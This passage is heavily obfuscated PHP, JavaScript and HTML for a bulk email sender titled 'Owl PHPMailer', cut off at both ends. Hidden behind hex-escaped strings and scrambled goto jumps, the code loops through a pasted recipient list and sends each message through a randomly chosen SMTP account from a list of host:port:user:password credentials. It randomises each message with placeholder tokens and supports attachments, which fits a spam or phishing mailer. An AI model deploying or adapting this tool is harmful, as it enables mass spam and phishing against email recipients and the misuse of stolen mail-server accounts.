50\x27\x3c\142\x72\76\47\x29\x3b\12\40\175\12\xa\40\146\x75\x6e\x63\164\x69\157\x6e\40\163\164\x61\x72\x74\x53\145\x6e\x64\x69\156\147\50\x29\x20\173\12\12\x20\12\xa\x20\40\166\x61\162\40\x65\115\141\x69\x6c\124\x65\170\x74\x41\162\x65\x61\40\75\x20\x64\157\143\x75\x6d\x65\x6e\164\x2e\x67\x65\164\x45\154\145\155\x65\156\164\x42\171\x49\144\50\x22\x65\x6d\x61\151\x6c\x4c\x69\163\x74\x22\x29\73\xa\40\40\166\141\x72\x20\145\115\x61\151\154\x54\x65\170\164\x41\x72\x65\141\x4c\151\156\x65\163\x20\75\x20\x65\x4d\x61\x69\154\x54\145\x78\x74\101\162\145\x61\56\166\x61\x6c\165\145\56\163\x70\x6c\151\x74\x28\x22\134\156\x22\51\73\xa\40\x20\x76\x61\x72\x20\x73\x6d\164\160\101\x63\x63\157\x75\156\164\x73\124\145\x78\x74\x41\162\145\141\40\x3d\40\144\x6f\x63\165\155\145\156\x74\x2e\x67\145\x74\x45\154\145\155\x65\156\x74\102\x79\x49\x64\x28\42\163\x6d\x74\160\101\x63\143\157\x75\156\164\x73\x22\x29\73\xa\40\40\x76\x61\x72\x20\163\x6d\164\x70\101\x63\x63\x6f\165\x6e\x74\x73\x54\x65\170\164\101\162\145\141\114\x69\156\145\163\40\x3d\x20\163\155\164\160\x41\x63\143\157\165\x6e\x74\x73\x54\x65\170\x74\x41\x72\x65\x61\x2e\x76\141\x6c\165\145\x2e\x73\160\154\151\164\x28\42\134\x6e\42\51\x3b\12\x20\40\x76\x61\x72\x20\x65\156\x63\157\144\x69\156\x67\124\171\x70\x65\x45\40\x3d\40\144\157\143\x75\x6d\145\156\164\x2e\x67\145\x74\x45\154\145\155\145\156\164\x42\x79\x49\x64\x28\x27\145\156\x63\x6f\144\x69\x6e\147\47\51\x3b\12\40\x20\166\141\162\x20\x65\x6e\143\x6f\x64\x69\156\x67\x54\171\160\145\x20\75\x20\x65\156\143\157\x64\151\156\147\124\171\160\145\x45\x2e\157\x70\164\x69\157\156\163\x5b\x65\156\143\157\x64\x69\156\147\124\171\x70\x65\x45\x2e\163\x65\154\145\x63\x74\145\144\111\x6e\144\x65\x78\x5d\56\166\x61\x6c\165\x65\73\xa\x20\x20\x76\x61\162\40\145\155\x61\151\x6c\120\x72\151\157\162\151\x74\171\105\x20\x3d\40\144\x6f\x63\x75\x6d\145\156\164\x2e\147\145\x74\105\x6c\145\155\x65\x6e\164\x42\171\x49\144\x28\47\160\162\x69\x6f\162\x69\x74\171\47\51\73\xa\40\40\166\141\x72\x20\x65\155\x61\151\154\120\162\x69\x6f\x72\151\164\x79\40\x3d\40\145\155\x61\151\154\x50\162\x69\157\x72\x69\164\171\x45\x2e\157\x70\x74\x69\157\x6e\x73\x5b\x65\x6d\x61\151\x6c\120\x72\151\x6f\162\x69\164\x79\x45\x2e\163\x65\154\145\x63\x74\145\x64\111\x6e\x64\145\x78\135\56\x76\141\x6c\x75\145\x3b\xa\x20\xa\40\x20\x20\166\x61\x72\40\x66\x6f\x72\155\x5f\x64\141\x74\141\x20\x3d\40\x6e\x65\167\40\x46\x6f\162\155\104\x61\164\141\50\51\x3b\12\x20\40\x20\146\x6f\162\x6d\x5f\144\141\164\x61\56\x61\160\160\145\x6e\144\x28\x22\141\143\164\x69\157\x6e\x22\x2c\x20\42\x73\x65\156\x64\42\x29\73\12\40\40\x20\x66\x6f\x72\155\137\x64\x61\164\x61\x2e\141\x70\x70\x65\156\144\x28\42\163\x65\156\144\151\x6e\x67\x4d\145\164\150\x6f\x64\42\54\40\x64\157\x63\165\x6d\145\x6e\164\x2e\161\x75\145\162\171\x53\145\154\x65\x63\164\157\162\x28\x27\151\156\160\x75\164\x5b\x6e\141\x6d\145\75\42\163\145\156\x64\x69\x6e\x67\x4d\145\x74\x68\x6f\x64\42\135\72\x63\x68\x65\x63\x6b\145\144\x27\x29\56\166\141\154\x75\145\51\73\12\40\x20\40\146\157\x72\155\x5f\144\141\164\141\x2e\x61\x70\160\x65\x6e\144\x28\42\163\145\156\x64\145\x72\105\155\141\151\154\42\54\x20\x64\157\x63\x75\155\145\x6e\x74\x2e\x67\145\164\105\154\x65\155\145\156\164\102\171\111\144\x28\x27\x73\x65\156\x64\145\162\105\155\141\151\x6c\47\51\x2e\x76\141\154\x75\145\x29\x3b\12\40\x20\40\146\x6f\162\155\x5f\x64\141\x74\x61\x2e\x61\x70\160\145\156\144\x28\42\x73\145\156\144\145\x72\116\141\x6d\x65\42\x2c\40\x64\x6f\143\165\x6d\145\x6e\x74\x2e\147\x65\164\105\154\145\155\145\156\164\102\171\111\x64\50\x27\163\145\x6e\144\x65\x72\x4e\x61\x6d\x65\x27\51\x2e\166\141\x6c\165\145\51\x3b\xa\x20\x20\40\x66\x6f\x72\155\x5f\144\x61\164\x61\56\x61\160\160\145\x6e\144\50\42\162\x65\160\154\171\124\157\42\54\x20\x64\157\x63\x75\x6d\145\156\x74\x2e\147\145\164\105\154\145\x6d\x65\156\x74\x42\x79\111\x64\x28\x27\162\x65\x70\x6c\171\124\x6f\47\51\x2e\166\141\154\165\145\x29\73\12\40\40\40\146\x6f\x72\x6d\x5f\x64\141\164\x61\56\141\x70\160\x65\156\x64\50\x22\155\145\x73\x73\141\147\145\123\x75\142\152\145\x63\x74\x22\x2c\40\144\x6f\143\x75\x6d\x65\156\164\x2e\147\x65\164\105\154\145\x6d\145\x6e\164\x42\171\x49\144\50\x27\x73\x75\142\x6a\145\143\164\47\x29\56\x76\141\x6c\165\x65\x29\73\xa\40\40\40\146\157\x72\x6d\x5f\144\141\x74\141\x2e\141\160\160\x65\x6e\144\50\42\155\x65\163\x73\141\x67\145\x4c\x65\x74\x74\x65\162\x22\54\x20\x64\157\x63\165\x6d\x65\156\164\56\147\x65\x74\105\x6c\145\x6d\x65\x6e\164\102\x79\x49\x64\x28\x27\x6d\x65\x73\163\141\147\x65\114\x65\x74\x74\145\x72\x27\51\56\x76\x61\x6c\165\145\x29\73\xa\40\40\x20\146\157\162\x6d\137\x64\141\x74\141\56\x61\x70\160\145\156\x64\50\42\141\154\164\115\145\x73\x73\141\x67\145\114\x65\164\164\x65\162\x22\x2c\40\x64\x6f\x63\x75\x6d\x65\156\x74\x2e\147\x65\164\x45\154\x65\x6d\x65\156\164\x42\171\111\x64\50\47\141\x6c\x74\x4d\145\163\x73\141\147\x65\114\x65\x74\x74\x65\x72\47\x29\56\x76\x61\x6c\x75\x65\51\x3b\xa\x20\40\x20\146\157\162\155\137\x64\141\x74\141\56\x61\160\160\x65\156\x64\50\x22\155\x65\x73\x73\x61\x67\145\124\171\160\145\42\x2c\40\144\x6f\143\x75\155\x65\x6e\x74\x2e\161\165\145\162\x79\x53\x65\154\x65\143\x74\157\x72\x28\47\151\x6e\160\165\x74\x5b\156\x61\x6d\145\x3d\42\155\x65\x73\163\x61\147\145\124\171\160\145\x22\135\72\x63\x68\145\x63\153\145\144\47\x29\56\x76\141\154\x75\x65\51\73\12\x20\x20\x20\x66\157\162\155\137\x64\141\x74\x61\x2e\x61\160\x70\145\x6e\x64\x28\42\x65\x6e\x63\157\x64\151\x6e\x67\124\x79\x70\145\42\x2c\40\145\x6e\143\157\x64\x69\156\x67\x54\x79\x70\x65\x29\x3b\xa\x20\40\x20\x66\x6f\162\x6d\x5f\x64\141\164\141\x2e\141\x70\x70\x65\156\x64\x28\x22\145\x6d\x61\x69\x6c\x50\162\x69\x6f\162\151\164\x79\x22\54\x20\145\155\141\x69\154\120\x72\151\157\162\151\x74\171\x29\x3b\12\xa\x20\x20\x20\x66\157\162\40\x28\x76\141\x72\x20\x78\x20\x3d\40\x30\73\40\x78\x20\74\40\144\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x67\145\x74\105\154\x65\x6d\145\x6e\164\102\x79\x49\x64\x28\47\141\164\x74\141\x63\150\x6d\145\156\x74\x27\x29\x2e\x66\151\x6c\145\163\x2e\x6c\x65\x6e\147\x74\150\x3b\40\x78\53\53\x29\40\x7b\xa\40\40\40\40\40\40\146\x6f\x72\x6d\137\144\141\164\x61\56\x61\x70\x70\145\156\144\50\x22\x61\164\x74\141\x63\150\x6d\x65\x6e\x74\x5b\135\x22\x2c\40\144\157\143\x75\155\x65\x6e\164\56\x67\145\x74\x45\154\x65\155\x65\156\164\102\171\111\x64\50\x27\141\x74\164\141\x63\x68\x6d\x65\x6e\x74\x27\51\56\x66\x69\154\145\163\133\x78\x5d\x29\73\12\40\x20\x20\x7d\xa\xa\40\40\x24\50\42\43\x70\162\157\x67\x72\x65\163\163\x22\x29\x2e\145\155\160\x74\171\x28\51\x3b\12\x20\x20\166\x61\x72\40\x70\x72\157\143\145\163\163\x65\x64\103\157\x75\156\x74\x20\75\40\x30\73\xa\40\40\x24\x28\x66\x75\x6e\143\x74\151\157\x6e\x20\x28\x29\x20\173\xa\40\x20\40\40\166\141\x72\x20\x69\40\75\40\60\x3b\xa\x20\x20\40\x20\162\x75\x6e\156\x69\156\147\40\75\x20\164\162\165\x65\x3b\12\12\40\x20\x20\x20\x24\50\42\43\142\164\x6e\123\x74\141\162\x74\42\x29\x2e\x61\x74\164\x72\50\x22\144\151\163\x61\x62\x6c\145\x64\x22\x2c\x20\164\x72\165\x65\x29\73\xa\40\40\40\40\x24\50\x22\x23\x62\164\156\123\x74\x6f\x70\x22\51\56\141\x74\x74\x72\50\x22\144\151\163\x61\x62\x6c\x65\144\42\x2c\x20\146\x61\x6c\163\x65\x29\73\12\xa\xa\40\x20\40\x20\146\165\156\x63\164\x69\157\156\40\x6e\x65\x78\x74\x43\141\154\x6c\x28\51\40\x7b\xa\40\x20\40\x20\x20\40\x69\x66\40\50\151\x20\75\75\x20\x65\115\x61\151\x6c\124\145\x78\x74\x41\x72\145\x61\114\x69\x6e\145\163\x2e\x6c\x65\x6e\147\x74\150\51\x7b\xa\xa\x20\x20\40\40\40\40\40\40\x20\44\x28\42\43\142\164\x6e\123\164\x61\162\164\42\x29\x2e\x61\x74\164\162\x28\42\x64\151\163\x61\142\154\x65\144\42\x2c\40\146\141\154\163\x65\51\73\12\40\x20\40\x20\40\x20\40\40\x20\x24\x28\42\x23\x62\164\156\x53\x74\x6f\160\x22\51\x2e\141\x74\164\162\50\42\x64\151\163\141\x62\154\x65\144\x22\x2c\40\164\x72\165\x65\51\73\xa\40\x20\x20\x20\40\40\x20\40\40\162\145\x74\x75\162\x6e\x3b\40\57\57\154\141\163\x74\40\143\x61\154\154\x20\x77\141\x73\40\x6c\141\x73\x74\40\151\164\x65\x6d\40\x69\156\40\x74\150\145\x20\141\162\x72\141\171\12\x20\x20\x20\40\40\x20\x7d\12\12\40\40\40\x20\40\x20\57\57\x20\101\142\157\162\x74\40\x61\156\171\x20\x70\145\156\144\x69\x6e\147\x20\x72\145\x71\x75\145\x73\x74\xa\40\40\x20\x20\40\40\x69\146\x20\x28\162\x65\x71\165\x65\x73\x74\51\x20\173\12\40\40\x20\x20\40\x20\40\40\x72\x65\161\x75\145\x73\x74\x2e\141\x62\x6f\x72\164\x28\x29\73\xa\40\40\40\40\40\x20\175\xa\x20\40\x20\x20\x20\40\x20\x69\x66\50\41\162\x75\156\x6e\151\156\147\51\12\x20\40\40\x20\40\40\x7b\xa\x20\40\40\40\40\40\x20\x20\x72\145\x74\x75\162\156\x3b\12\x20\x20\x20\x20\x20\x20\175\xa\xa\x20\40\x20\40\40\40\166\x61\x72\40\x72\x65\143\151\160\x69\x65\x6e\164\40\x3d\x20\145\x4d\141\x69\154\124\x65\x78\164\101\x72\x65\x61\114\151\x6e\x65\x73\133\151\x2b\x2b\x5d\xa\x20\x20\40\x20\40\x20\x66\157\x72\155\x5f\144\x61\x74\141\56\x61\160\160\x65\156\x64\50\42\x72\x65\143\151\160\151\145\156\164\42\54\40\x72\x65\x63\x69\160\151\x65\156\x74\x29\73\xa\40\40\40\40\40\40\146\157\x72\155\x5f\x64\x61\x74\x61\x2e\141\x70\160\x65\156\x64\x28\42\x73\x6d\x74\160\101\x63\x63\x74\42\54\x20\x73\x6d\x74\x70\x41\x63\143\157\x75\x6e\x74\163\x54\145\170\164\x41\x72\145\141\x4c\x69\156\145\163\x2e\162\141\x6e\x64\157\x6d\x45\x6c\x65\x6d\x65\156\x74\x28\x29\51\x3b\xa\12\40\40\40\40\x20\40\x72\145\x71\165\x65\x73\164\x20\75\40\x24\x2e\x61\x6a\x61\x78\50\x7b\12\x20\x20\x20\x20\40\40\x20\40\x74\x79\x70\x65\72\40\42\x70\x6f\x73\164\42\x2c\xa\40\x20\x20\40\40\40\x20\x20\x64\x61\x74\x61\x3a\40\x66\157\x72\x6d\x5f\144\x61\x74\141\x2c\12\40\40\x20\x20\x20\40\x20\40\143\157\156\x74\x65\x6e\x74\x54\171\160\x65\x3a\40\146\x61\154\x73\x65\x2c\xa\x20\x20\40\x20\x20\40\x20\x20\x70\162\x6f\x63\x65\x73\x73\104\141\x74\141\x3a\40\x66\x61\154\x73\145\x2c\12\x20\40\x20\x20\40\40\175\51\x3b\12\40\40\x20\40\40\40\x2f\x2f\40\103\141\154\154\x62\141\x63\153\40\x68\x61\x6e\144\154\x65\x72\40\x74\x68\x61\164\40\167\151\154\x6c\40\142\x65\x20\x63\x61\x6c\154\x65\x64\40\x6f\x6e\x20\163\165\x63\x63\x65\x73\x73\12\40\40\x20\x20\x20\40\162\145\161\165\x65\163\164\56\144\157\x6e\x65\x28\146\165\x6e\143\164\151\157\156\40\50\x72\145\x73\160\157\156\x73\x65\x2c\40\x74\145\170\x74\x53\164\141\x74\165\x73\54\x20\x6a\161\130\110\122\x29\x20\173\12\40\40\40\40\x20\x20\x20\x20\160\162\x6f\143\x65\163\163\145\x64\103\x6f\165\x6e\x74\40\53\75\x20\61\x3b\xa\40\x20\x20\x20\x20\40\x20\40\150\x61\156\144\154\145\123\145\156\144\151\156\x67\x52\x65\x73\160\157\156\163\145\x28\162\145\143\151\x70\151\x65\x6e\164\x2c\x20\162\145\163\160\x6f\156\x73\x65\54\40\x70\162\x6f\x63\145\x73\163\x65\144\103\x6f\165\x6e\x74\54\x20\x65\115\x61\x69\x6c\124\x65\170\x74\101\x72\145\x61\x4c\x69\x6e\145\x73\x2e\154\145\x6e\x67\x74\150\51\x3b\12\40\x20\40\x20\x20\x20\40\x20\156\x65\170\x74\103\141\x6c\x6c\50\x29\x3b\12\x20\x20\40\40\x20\40\175\x29\73\xa\x20\40\x20\40\175\xa\x20\40\x20\40\x6e\x65\170\x74\103\x61\154\x6c\x28\x29\x3b\xa\x20\40\175\x29\x3b\12\x20\175\12\74\x2f\163\x63\162\151\160\164\x3e\12\40\40\74\x64\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\143\x6f\156\164\141\151\156\145\x72\x20\x63\157\154\x2d\x6c\x67\x2d\66\42\x3e\xa\x20\40\x20\x20\74\x68\x33\76\46\43\61\x32\x39\x34\x31\67\73\x20\x4f\x77\154\40\120\x48\120\x4d\141\x69\x6c\145\162\74\x73\155\x61\x6c\x6c\76\40"; goto E7TKP; KCr0n: header("\103\x61\143\150\x65\55\103\x6f\156\164\162\157\x6c\x3a\x20\156\157\x2d\163\164\157\x72\x65\x2c\x20\x6e\x6f\x2d\x63\x61\x63\x68\x65\54\x20\x6d\x75\x73\x74\x2d\162\145\x76\141\x6c\x69\x64\141\164\x65\x2c\x20\x6d\x61\x78\x2d\x61\147\145\x3d\x30"); goto ErDDs; bgZCw: X8Cax: goto Rii2h; l0OfP: $GLOBALS["\155\145\x73\x73\141\x67\145\x54\x79\160\145"] = y_qNk($_POST["\155\x65\163\163\x61\x67\x65\x54\171\x70\x65"]); goto BIGb8; hvxwp: $GLOBALS["\162\x65\x63\151\x70\x69\145\156\164"] = Y_qnK($_POST["\162\145\143\151\x70\151\x65\156\164"]); goto vxTC9; xVqH9: $YrLQ5 = urlencode($YrLQ5); goto HCRa4; Yfh84: $GLOBALS["\141\154\164\x4d\x65\x73\x73\141\147\x65\114\x65\x74\164\x65\x72"] = stripslashes($YrLQ5); goto l0OfP; lAxAv: $GLOBALS["\163\145\156\x64\x65\162\105\x6d\141\151\x6c"] = y_qnk($_POST["\163\x65\x6e\x64\145\162\105\x6d\141\151\154"]); goto dRdid; aq1zl: $GLOBALS["\x73\145\156\x64\145\x72\x4e\141\x6d\x65"] = Y_qnk($_POST["\x73\x65\x6e\x64\145\162\x4e\141\x6d\x65"]); goto Qc7l6; aCn4_: $jRul4 = urlencode($jRul4); goto gpHWl; b0WLz: hUFlg: goto N651u; v5m75: function n1Vj2($Gt6CU, $GM64i) { goto gj7Dn; lWx5X: $Gt6CU = str_replace("\x5b\x2d\x72\141\156\x64\157\x6d\163\x74\162\151\x6e\x67\x2d\x5d", Y5xf3("\x61\x62\143\x64\145\x66\147\150\x69\152\x6b\154\x6d\156\x6f\x70\161\162\163\x74\x75\x76\167\170\x79\172\60\x31\62\63\64\x35\x36\67\70\71", 8, 15), $Gt6CU); goto K0gMu; K0gMu: $Gt6CU = str_replace("\133\x2d\162\x61\x6e\144\157\x6d\156\165\155\142\x65\162\55\135", y5XF3("\60\x31\x32\x33\x34\65\66\67\70\x39", 7, 15), $Gt6CU); goto kC0nO; Tdvyv: return $Gt6CU; goto SmHAJ; gj7Dn: $EHIyN = preg_replace("\x2f\50\133\x5e\x40\135\x2a\51\x2e\x2a\x2f", "\x24\61", $GM64i); goto FX_oC; FX_oC: $Gt6CU = str_replace("\x5b\x2d\164\151\155\145\x2d\135", date("\155\57\144\57\x59\40\150\x3a\151\72\x73\40\x61", time()), $Gt6CU); goto CZqA1; kC0nO: $Gt6CU = str_replace("\133\55\162\141\x6e\x64\x6f\x6d\x6d\144\x35\55\135", md5(rand()), $Gt6CU); goto Tdvyv; OYJTw: $Gt6CU = str_replace("\x5b\x2d\x72\141\x6e\x64\157\155\154\x65\x74\164\x65\x72\163\55\x5d", Y5xF3("\x61\142\143\144\x65\x66\147\x68\x69\x6a\153\154\x6d\x6e\x6f\160\x71\162\163\164\165\x76\167\170\171\172", 8, 15), $Gt6CU); goto lWx5X; dCDf_: $Gt6CU = str_replace("\133\x2d\145\155\141\x69\154\x75\163\x65\x72\x2d\x5d", $EHIyN, $Gt6CU); goto OYJTw; CZqA1: $Gt6CU = str_replace("\x5b\x2d\145\x6d\141\x69\154\x2d\135", $GM64i, $Gt6CU); goto dCDf_; SmHAJ: } goto UTxPy; GYSTd: zhL0O: goto lFRD2; YNa71: $jRul4 = urldecode($jRul4); goto EgTNn; jIm4O: echo $JQ8bC["\x76\145\x72\x73\151\x6f\156"]; goto cbR3p; YLqUo: oG_qM: goto Eg4q4; cCHrQ: echo $JQ8bC["\x77\x65\x62\163\151\x74\x65"]; goto p6TF3; BIGb8: $v23Vu = Y_QNk($_POST["\145\156\x63\x6f\144\x69\x6e\x67\124\171\160\x65"]); goto fDfnh; lFRD2: function rs1SS() { goto n2JR7; sTUqz: $s18bE->IsSMTP(); goto O1qd9; kkx9U: W4QdT: goto uXdMh; Gr808: if (!(isset($Hhmeq[3]) && isset($Hhmeq[4]))) { goto W4QdT; } goto MTyEQ; MTyEQ: $s18bE->SMTPAuth = true; goto Rv4tx; ZLRKN: sD48e: goto cENG_; QB2w6: $s18bE->Password = y_qnK($Hhmeq[4]); goto kkx9U; O1qd9: $Hhmeq = explode("\x3a", $GLOBALS["\x73\155\164\x70\101\x63\x63\x74"]); goto dU9D1; zOxq6: uz0pq: goto Gr808; cENG_: goto uz0pq; goto wvQYi; TZHEH: if (!($GLOBALS["\163\145\156\144\151\x6e\x67\115\x65\x74\150\157\144"] == "\x73\x6d\x74\x70")) { goto NgWwh; } goto sTUqz; CTJkC: $s18bE->SMTPSecure = ''; goto QoCDZ; Rv4tx: $s18bE->Username = y_QnK($Hhmeq[3]); goto QB2w6; tmIzu: if (Y_qNK($Hhmeq[2]) == "\163\x73\x6c") { goto qJqLn; } goto sd0zf; cHBRW: lzJ35: goto K_UGU; QoCDZ: goto sD48e; goto cHBRW; n2JR7: $s18bE = new cAGZE(); goto TZHEH; oq9Pe: $s18bE->SMTPSecure = "\163\163\x6c"; goto zOxq6; wvQYi: qJqLn: goto oq9Pe; K_UGU: $s18bE->SMTPSecure = "\164\154\163"; goto ZLRKN; mzAzP: $s18bE->Port = Y_QnK($Hhmeq[1]); goto tmIzu; LNE4Z: return $s18bE; goto bsle2; dU9D1: $s18bE->Host = y_qNk($Hhmeq[0]); goto mzAzP; uXdMh: NgWwh: goto LNE4Z; sd0zf: if (Y_QnK($Hhmeq[2]) == "\164\154\163") { goto lzJ35; } goto CTJkC; bsle2: } goto k6JEr; JcVuG: $YrLQ5 = urldecode($YrLQ5); goto Yfh84; WtMVK: function P4U5v($G7hpX) { goto ILsWN; X1G9y: DzGwr: goto MnFzV; UY9jX: return TRUE; goto X1G9y; ILsWN: $RtAcU = "\x2f\136\x28\133\x61\x2d\x7a\x41\x2d\x5a\60\55\x39\x5c\x2d\134\137\134\56\x5d\x7b\x31\54\x7d\x29\x2b\x40\53\x28\x5b\141\55\172\x41\55\x5a\x30\x2d\71\x5c\55\134\x5f\134\56\x5d\x7b\x31\54\175\51\x2b\134\x2e\53\50\133\x61\x2d\x7a\x5d\x7b\x32\54\64\175\51\44\57\x69"; goto I7q1O; I7q1O: if (!preg_match($RtAcU, $G7hpX)) { goto DzGwr; } goto UY9jX; MnFzV: } goto IOL0V; lDoCJ: echo "\42\76\xa\40\40\x20\40\40\40\x20\x20\x3c\x6c\x61\x62\x65\154\40\146\157\x72\x3d\x22\163\145\x6e\144\145\x72\x45\155\x61\x69\x6c\42\x3e\123\x65\156\x64\145\x72\40\116\x61\x6d\145\74\57\154\x61\142\145\x6c\x3e\12\40\40\40\40\40\40\x20\40\x3c\x69\x6e\160\x75\x74\x20\x74\x79\x70\x65\75\42\x74\145\170\164\42\x20\x63\x6c\141\163\163\75\42\146\x6f\162\x6d\x2d\x63\157\x6e\164\162\157\x6c\40\40\x69\x6e\x70\x75\x74\55\163\155\42\40\x69\x64\x3d\x22\163\x65\x6e\144\145\162\x4e\x61\155\x65\42\40\156\x61\155\145\75\x22\x73\145\156\x64\145\162\x4e\x61\155\145\x22\x3e\xa\74\x69\x6e\160\165\164\x20\164\x79\x70\145\x3d\x22\163\x75\x62\x6d\x69\x74\x22\40\x76\x61\154\x75\145\x3d\42\123\145\156\144\42\x20\150\x69\x64\144\x65\x6e\40\57\x3e\12\40\x20\x20\x20\x20\x20\x3c\x2f\144\x69\x76\76\12\40\40\40\x20\74\x2f\144\151\166\x3e\xa\x20\x20\40\x20\74\144\x69\x76\40\x63\154\x61\x73\x73\x3d\x22\x72\157\x77\x22\76\40\x3c\163\x70\x61\x6e\40\143\154\x61\x73\163\75\x22\x66\x6f\162\155\x2d\147\x72\x6f\x75\x70\x20\x63\x6f\154\x2d\154\x67\55\x36\x22\x3e\x3c\x6c\141\x62\145\x6c\x20\146\x6f\162\x3d\42\141\x74\164\141\143\150\155\x65\156\164\x22\x3e\101\x74\x74\x61\x63\x68\155\x65\156\x74\40\x3c\163\x6d\x61\x6c\x6c\76\x28\x4d\165\154\x74\x69\x70\154\145\x20\101\166\x61\x69\154\141\142\x6c\x65\x29\x3c\57\x73\155\x61\154\x6c\x3e\74\57\154\141\x62\x65\x6c\x3e\74\151\156\x70\x75\x74\40\164\171\160\145\75\42\x66\151\154\145\x22\x20\x6e\x61\x6d\x65\x3d\42\141\x74\x74\x61\143\x68\155\x65\x6e\164\x5b\135\42\x20\151\x64\x3d\x22\141\x74\164\141\x63\150\x6d\x65\156\x74\x22\x20\x6d\x75\154\x74\151\x70\154\145\x2f\x3e\x3c\x2f\163\160\x61\x6e\x3e\xa\x20\40\x20\40\x20\x20\74\x64\x69\x76\x20\x63\154\141\163\x73\75\42\x66\x6f\162\155\55\x67\162\157\165\160\40\x63\157\x6c\x2d\x6c\x67\x2d\x36\42\x3e\xa\x20\40\40\40\x20\40\x20\40\x3c\154\x61\x62\x65\154\x20\x66\x6f\162\x3d\42\162\x65\x70\154\x79\124\157\x22\76\122\145\x70\x6c\171\55\164\x6f\74\57\x6c\141\142\145\x6c\76\xa\x20\x20\40\x20\x20\x20\x20\40\x3c\151\x6e\x70\x75\x74\40\x74\x79\x70\145\x3d\42\164\x65\170\164\x22\40\143\154\x61\x73\x73\75\42\146\157\162\x6d\x2d\143\157\x6e\x74\162\157\x6c\x20\40\x69\x6e\x70\165\164\55\163\x6d\40\x22\x20\x69\x64\x3d\42\x72\145\x70\x6c\x79\x54\157\x22\x20\x6e\141\x6d\x65\75\42\162\145\160\154\x79\124\157\x22\40\57\76\xa\40\40\40\40\x20\x20\74\57\144\151\x76\x3e\12\40\40\x20\x20\x3c\x2f\x64\151\x76\76\12\40\40\x20\40\74\144\x69\166\40\143\154\x61\x73\x73\x3d\x22\x72\x6f\x77\42\x3e\12\x20\40\40\40\40\40\74\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\42\146\157\162\155\x2d\147\162\157\x75\160\x20\x63\157\x6c\x2d\x6c\x67\x2d\x31\62\x20\x22\76\xa\x20\x20\40\x20\40\x20\40\40\74\154\141\142\145\x6c\x20\x66\157\162\75\x22\163\165\142\152\145\143\164\x22\76\123\165\x62\x6a\145\x63\164\x3c\x2f\154\x61\x62\145\x6c\x3e\xa\x20\x20\x20\40\x20\40\x20\40\x3c\x69\156\160\165\164\40\164\x79\x70\x65\x3d\x22\x74\145\x78\x74\42\x20\143\154\x61\163\163\75\42\x66\x6f\x72\x6d\55\x63\157\x6e\x74\162\157\x6c\x20\x20\151\x6e\160\165\x74\55\x73\155\x20\42\x20\151\x64\75\x22\x73\165\x62\x6a\x65\143\164\42\40\156\x61\155\x65\75\x22\x73\165\x62\x6a\x65\143\x74\x22\40\57\76\xa\40\x20\x20\40\40\x20\74\x2f\144\151\166\x3e\xa\x20\40\x20\40\x3c\57\x64\151\166\76\12\40\40\x20\40\74\x64\151\166\40\x63\154\x61\x73\163\x3d\x22\162\157\x77\42\x3e\xa\x20\40\40\x20\40\40\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\42\x66\x6f\162\155\x2d\x67\162\x6f\165\x70\x20\x63\157\x6c\x2d\154\147\55\x36\x22\76\12\x20\x20\x20\x20\x20\40\40\x20\x3c\154\x61\142\145\x6c\x20\146\x6f\x72\75\x22\x6d\x65\x73\x73\x61\x67\145\114\145\164\164\145\162\42\x3e\x4d\x65\x73\x73\x61\147\x65\40\x4c\x65\x74\164\x65\x72\x3c\x2f\154\141\142\145\x6c\x3e\xa\40\40\40\40\x20\40\40\40\74\164\145\x78\x74\x61\162\x65\x61\40\160\x6c\x61\x63\x65\150\x6f\x6c\x64\145\162\x3d\x22\x4d\x65\x73\163\141\147\145\x20\114\x65\164\164\x65\x72\42\x20\156\x61\x6d\x65\75\x22\155\145\163\163\x61\147\145\x4c\x65\x74\164\x65\162\x22\40\x69\144\75\x22\x6d\145\163\163\141\147\x65\114\145\x74\164\145\162\42\x20\143\154\x61\x73\x73\75\42\x66\x6f\162\x6d\x2d\x63\x6f\156\164\x72\x6f\154\42\x20\x72\157\x77\x73\x3d\x22\x31\x30\42\40\151\x64\75\x22\x74\x65\170\164\x41\162\145\x61\42\76\x3c\x2f\x74\145\170\x74\x61\162\x65\141\x3e\xa\40\40\40\x20\40\40\x3c\57\x64\x69\x76\76\12\x20\40\40\x20\x20\x20\x3c\144\x69\166\x20\143\x6c\141\163\x73\75\42\146\157\162\155\55\147\x72\x6f\x75\160\x20\143\157\x6c\55\154\147\55\66\42\x3e\xa\x20\x20\x20\40\x20\x20\40\40\74\x6c\x61\142\145\154\40\x66\157\x72\75\x22\141\x6c\164\x4d\x65\x73\163\x61\147\x65\x4c\145\164\164\x65\162\42\76\x41\x6c\x74\145\x72\x6e\x61\164\x69\166\x65\40\115\145\x73\x73\x61\147\145\x20\x4c\x65\x74\x74\x65\x72\74\57\x6c\x61\x62\145\x6c\76\xa\x20\40\x20\40\40\x20\40\40\x3c\164\145\170\164\141\162\x65\x61\40\160\154\141\143\145\150\x6f\154\144\x65\162\75\x22\101\x6c\164\145\162\x6e\x61\164\x69\166\145\x20\115\x65\163\x73\141\147\x65\x20\114\145\x74\164\x65\162\x2e\x26\x23\61\60\73\124\150\151\163\x20\142\x6f\144\171\x20\x63\x61\156\x20\x62\x65\x20\162\x65\141\x64\40\x62\171\40\155\x61\151\x6c\x20\x63\154\151\x65\x6e\164\x73\x20\164\150\141\164\x20\x64\157\40\156\157\164\40\150\141\166\x65\40\110\124\x4d\x4c\40\x65\x6d\x61\151\154\56\46\x23\61\60\x3b\143\141\160\141\142\x69\x6c\151\164\171\x20\163\x75\x63\150\40\141\x73\x20\155\165\164\x74\x20\x26\x23\x33\70\73\40\105\x75\x64\157\x72\x61\56\46\x23\61\x30\x3b\x43\x6c\151\145\156\164\163\x20\x74\x68\141\164\x20\x63\141\x6e\x20\162\145\141\144\x20\x48\124\115\x4c\x20\x77\x69\x6c\x6c\40\x76\x69\x65\x77\40\164\x68\145\x20\x6e\157\x72\155\141\x6c\x20\102\x6f\x64\171\56\x22\x20\x6e\x61\155\x65\x3d\x22\x61\154\164\115\x65\163\163\141\147\x65\x4c\x65\x74\164\145\162\42\x20\x69\144\75\42\x61\x6c\x74\115\145\x73\163\x61\147\145\114\145\x74\x74\x65\162\x22\40\143\x6c\x61\x73\x73\x3d\x22\x66\157\x72\x6d\x2d\143\157\x6e\164\162\x6f\x6c\x22\40\x72\157\x77\163\75\x22\61\x30\x22\40\x69\144\75\42\164\145\170\164\101\x72\x65\141\x22\x3e\74\57\164\145\170\x74\141\162\x65\x61\x3e\12\x20\40\x20\x20\40\40\74\57\144\